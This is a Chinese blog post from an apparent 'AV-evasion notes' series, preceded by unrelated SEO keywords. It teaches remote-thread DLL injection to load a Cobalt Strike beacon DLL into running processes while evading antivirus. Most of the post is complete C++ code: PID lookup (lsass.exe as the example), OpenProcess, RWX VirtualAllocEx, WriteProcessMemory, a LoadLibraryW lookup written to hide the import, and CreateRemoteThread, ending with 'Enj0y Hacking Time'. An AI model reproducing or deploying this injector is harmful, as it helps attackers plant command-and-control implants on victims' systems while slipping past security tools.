购物网站模板带后台,模板建站难吗,网站建设 ipc备案,wordpress teamtalk这段时间我们暂时没什么事情干的话我们就继续更新我们的免杀笔记力#xff01;#xff01;#xff01; #xff1a;今天我们讲DLL注入
目录
1.DLL注入
2.直接加载DLL#xff1f;
3.远程线程注入
获取Handle
远程申请内存空间
将我们的CS的DLL加载入内存
创建远程线…这段时间我们暂时没什么事情干的话我们就继续更新我们的免杀笔记力 今天我们讲DLL注入
目录
1.DLL注入
2.直接加载DLL
3.远程线程注入
获取Handle
远程申请内存空间
将我们的CS的DLL加载入内存
创建远程线程Load上线DLL
等待远程线程结束释放DLL空间关闭线程句柄
4.GetProcessPID
5.打开空间
6.申请远程内存
7.CS上线DLL写入内存
8.获取LoadLibrary地址
9.创建线程
10.等待线程结束释放DLL空间关闭句柄
11.最终代码 1.DLL注入
DLL注入也叫做远程线程注入 DLLDynamic Link Library注入是一种技术它允许一个进程向另一个进程中注入一个动态链接库DLL。这种技术通常用于软件开发和系统管理但也可能被恶意软件用来实现特定目的。 这里说明一个东西先不知道大家有没有好奇过为什么我并没有load user32.dll 却可以使用MessageBoxA这样的函数
那是因为我们包含了Windows.h这样的头文件不信你试试不包含绝对报错 在Windows平台上Windows.h头文件是包含了大量Windows API的头文件之一它会在编译时引入所有必要的声明和定义包括user32.dll中的函数声明。 所以如果你去查看这个程序的导出表的时候是能看得见user32.dll这个DLL的就算你没有手动去LoadLibrary 2.直接加载DLL
有人就会想了我们直接去我们自己写一个C语言然后LoadLibrary不就好了吗
然后现实生活中也确实可以如此 我们来演示一下 先去生成一个上线DLL
然后我们直接写一个C代码不能让他结束否则ShellCode的内存资源就被释放了
其中下面的那个DLL是我们上线的DLL
int main()
{LoadLibrary(LC:\\Users\\ASUS\\Desktop\\inject.dll);while (1){//DoNothing}return 0;
}
我们是能够成功的看见上线的 我们还可以通过Process Monitor去查看是能看见这个DLL的 但是有用吗你也不看看这是一个什么程序 :既不是UAC白名单又没有数字签名还直接LoadLibary你当杀软不存在
所以即使上面的方法是能上线的我们也不会去这样直接加载我们的上线的DLL
3.远程线程注入
既然我们不想本地加载我们的DLL那我们就只能远程加载了因此DLL注入也被称为远程线程注入
那么我们应该怎么去进行远程线程注入呢 有以下的步骤
获取进程的句柄Handle远程申请内存空间将我们的CS上线DLL加载入内存 获取Loadlibrary的地址创建远程线程load上线DLL等待远程线程结束释放DLL空间关闭线程句柄
下面我们来一步一步介绍一下这个过程
获取Handle
首先我们就是获取一个已经正在运行的EXE的句柄便于我们后续去操作
远程申请内存空间
这里我们会远程申请一个内存空间
将我们的CS的DLL加载入内存
这里可能会有点迷惑就是为什么我们需要将DLL写入我们的内存之中呢
其实就是因为没有RemoteLoadLibrary这样的操作我们不能让别人的EXE直接LoadLibrary
创建远程线程Load上线DLL
我们不能远程LoadLibrary但是我们可以远程创建线程去Load我们的上线DLL
等待远程线程结束释放DLL空间关闭线程句柄
然后就是等待远程线程结束了释放DLL空间关闭线程句柄
4.GetProcessPID
其实这不是一个标准的函数是我们自己写的 用来通过进程名获取对应的PID
DWORD GetProcessPID(LPCTSTR lpProcessName)
{
DWORD Ret 0;
PROCESSENTRY32 p32;
HANDLE lpSnapshot ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (lpSnapshot INVALID_HANDLE_VALUE)
{
printf(获取进程快照失败,请重试! Error:%d, ::GetLastError());
return Ret;
}
p32.dwSize sizeof(PROCESSENTRY32);
::Process32First(lpSnapshot, p32);
do {
if (!lstrcmp(p32.szExeFile, lpProcessName))
{
Ret p32.th32ProcessID;
break;
}
} while (::Process32Next(lpSnapshot, p32));
::CloseHandle(lpSnapshot);
return Ret;
}
不过运行这个函数我们还得包含一个头文件Tlhelp32.h 下面我们来获取一下lsass进程的PID
#includeiostream
#includetchar.h
#includeWindows.h
#includeTlhelp32.h
using namespace std;
#pragma comment(linker, /section:.data,RWE)DWORD GetProcessPID(LPCTSTR lpProcessName)
{DWORD Ret 0;PROCESSENTRY32 p32;HANDLE lpSnapshot ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (lpSnapshot INVALID_HANDLE_VALUE){printf(获取进程快照失败,请重试! Error:%d, ::GetLastError());return Ret;}p32.dwSize sizeof(PROCESSENTRY32);::Process32First(lpSnapshot, p32);do {if (!lstrcmp(p32.szExeFile, lpProcessName)){Ret p32.th32ProcessID;break;}} while (::Process32Next(lpSnapshot, p32));::CloseHandle(lpSnapshot);return Ret;
}int main()
{cout Lsass进程的PID是: GetProcessPID(Llsass.exe) endl;return 0;
}
其中由于编码问题我们的GetProcePID接受的字符串需要我们手动在他前面加上一个L
然后我们去运行查看效果 我们去cmd查看发现也是1348 这样我们就能获取到我们想要注入程序的PID了
5.打开空间
首先我们就要通过OpenProcess来获取我们句柄Handle OpenProcess 是一个Windows API函数用于打开一个已存在的进程并返回进程的句柄。通过这个句柄可以执行一系列操作比如读取或修改进程的内存获取进程的信息等。 所以我们的代码就可以这么写
HANDLE OriginalProcessHandle OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
首先OpenProcess接受三个参数一个是对当前的进程的权限这里我给了ALL实际上有可能会被杀软监控然后就是是否继承这里我们直接写False就好了最后一个就是该进程的PID这里我们就用我们刚才找到的PID即可
最好我们可以写一个判断圈内玩免杀的人都这样不过也可以理解否则运行一个EXE啥也没有感觉有点干涩
HANDLE OriginalProcessHandle OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
if (OriginalProcessHandle NULL)
{cout Get originalprocesshandle failed :( endl;
}
else {cout Get originalprocesshandle successfully :) endl;
}6.申请远程内存
这里我们就要用到VirtualAllocEx这个函数远程申请内存空间了
DWORD length (wcslen(dllpath) 1) * sizeof(TCHAR);
PVOID RemoteMemory VirtualAllocEx(OriginalProcessHandle, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (RemoteMemory NULL)
{cout VritualAlloc Address Falied :( endl;
}else {cout VirtualAlloc Address successfully :) endl;
}首先我们先不管那个length我们来看看VirtualAllocEx的参数第一个就是我们上面获取到的Handle然后就是NULL接着就是我们DLL路径的length然后MEM_COMMIT和PAGE_EXECUTE_READWRITE就和普通的VirtualAlloc一样
这里我觉得有要说一下的就是那个Length是DLL的路径长度又应为那个长度是以两个字节在内存中存储的所以我们要*sizeif(tchar)
这里并不是说把DLL的内容加载到了内存中而是将DLL的路径当作副本加载入内存方便我们后面LoadLibrary
7.CS上线DLL写入内存
这里我们用WirteProcessMemory还是先贴代码
BOOL WriteStatus WriteProcessMemory(OriginalProcessHandle,RemoteMemory,dllpath,length,NULL);
if (WriteStatus 0)
{cout Write CSs DLL into memory failed :( endl;
}else
{cout Write CSs DLL into memory successfully :) endl;
}
第一个参数是句柄然后就是远程的虚拟地址然后就是我们的DLL的地址长度NULL
8.获取LoadLibrary地址
其实这里我们完全可以不用这一步直接创建线程LoadLibrary但是为了在导入表不那么明显我们还是低配的隐藏一下GetProcessAddress还是暴露了
FARPROC FunctionHandle GetProcAddress(GetModuleHandle(Lkernel32.dll), LoadLibrary);这里我们用函数指针类型FARPOC来接收GetProcAddress接受两个参数一个是目标DLL的句柄一个就是导出函数的名称
那么我们既然想绕开Loadlibrary 我们就要用GetModuleHandle来获取Kernel32的句柄并且在Kernerl32中找到Loadlibrary这个函数并且返回函数地址
9.创建线程
还是来先贴一段代码 HANDLE RemoteHandle CreateRemoteThread(OriginalProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)FunctionHandle, RemoteMemory,0,NULL);if (RemoteHandle NULL){cout Remote thread create failed :( endl;return;}else {cout Remote thread create successfully :) endl;}
CreateRemoteThread接受三个参数 注入程序的Handle NULL0指向线程函数的指针即要在线程中执行的代码的入口点需要强制类型转换远程申请到的地址0NULL
通过上面的这个代码我们就能为远程的程序创建到一个线程
10.等待线程结束释放DLL空间关闭句柄
这三个就没什么好说的了吧 //6.等待线程结束
WaitForSingleObject(RemoteHandle, -1);//7.释放DLL空间
VirtualFreeEx(OriginalProcessHandle, RemoteMemory, length, MEM_COMMIT);//8.关闭句柄
CloseHandle(OriginalProcessHandle);
最后就是将上面的一众API封装成为一个函数并且传入两个参数一个是进程的API一个就是我们的DLL路径
void DLLInject(DWORD pid,LPCWSTR dllpath)
其中LPCWSTR 是在 Windows 平台上用于表示“指向以 null 结尾的宽字符常量”的指针类型。
11.最终代码
然后就是我们的成品代码了
#includeiostream
#includetchar.h
#includeWindows.h
#includeTlhelp32.h
using namespace std;
#pragma comment(linker, /section:.data,RWE)DWORD GetProcessPID(LPCTSTR lpProcessName)
{DWORD Ret 0;PROCESSENTRY32 p32;HANDLE lpSnapshot ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (lpSnapshot INVALID_HANDLE_VALUE){printf(获取进程快照失败,请重试! Error:%d, ::GetLastError());return Ret;}p32.dwSize sizeof(PROCESSENTRY32);::Process32First(lpSnapshot, p32);do {if (!lstrcmp(p32.szExeFile, lpProcessName)){Ret p32.th32ProcessID;break;}} while (::Process32Next(lpSnapshot, p32));::CloseHandle(lpSnapshot);return Ret;
}void DLLInject(DWORD pid,LPCWSTR dllpath)
{//LPCWSTR 是在 Windows 平台上用于表示“指向以 null 结尾的宽字符常量”的指针类型。//1.获取句柄HANDLE OriginalProcessHandle OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);if (OriginalProcessHandle NULL){cout Get originalprocesshandle failed :( endl;return;}else {cout Get originalprocesshandle successfully :) endl;}//2.远程申请内存DWORD length (wcslen(dllpath) 1) * sizeof(TCHAR);PVOID RemoteMemory VirtualAllocEx(OriginalProcessHandle, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (RemoteMemory NULL){cout VritualAlloc Address Falied :( endl;return;}else {cout VirtualAlloc Address successfully :) endl;} //3.将CS上线的DLL写入内存BOOL WriteStatus WriteProcessMemory(OriginalProcessHandle,RemoteMemory,dllpath,length,NULL);if (WriteStatus 0){cout Write CSs DLL into memory failed :( endl;return;}else{cout Write CSs DLL into memory successfully :) endl;}//4.获取LoadLibrary地址FARPROC FunctionHandle GetProcAddress(GetModuleHandle(Lkernel32.dll), LoadLibraryW);//5.创建线程HANDLE RemoteHandle CreateRemoteThread(OriginalProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)FunctionHandle, RemoteMemory,0,NULL);if (RemoteHandle NULL){cout Remote thread create failed :( endl;return;}else {cout Remote thread create successfully :) endl;}//6.等待线程结束WaitForSingleObject(RemoteHandle, -1);//7.释放DLL空间VirtualFreeEx(OriginalProcessHandle, RemoteMemory, length, MEM_COMMIT);//8.关闭句柄CloseHandle(OriginalProcessHandle);cout DL1 injct successfu11y !! Enj0y Hacking Time :) ! endl;
}int main()
{DWORD PID GetProcessPID(Lnotepad.exe);DLLInject(PID, LC:\\Users\\ASUS\\Desktop\\inject.dll);return 0;
}
这里我选择注入的是Notepad你们当然也可以注别的不过要注意权限噢
成果展示记得先打开Notepad 当然了我们后面再把从CMD获取DLL的路径以及程序名字的功能完善之后我就把他扔到Github上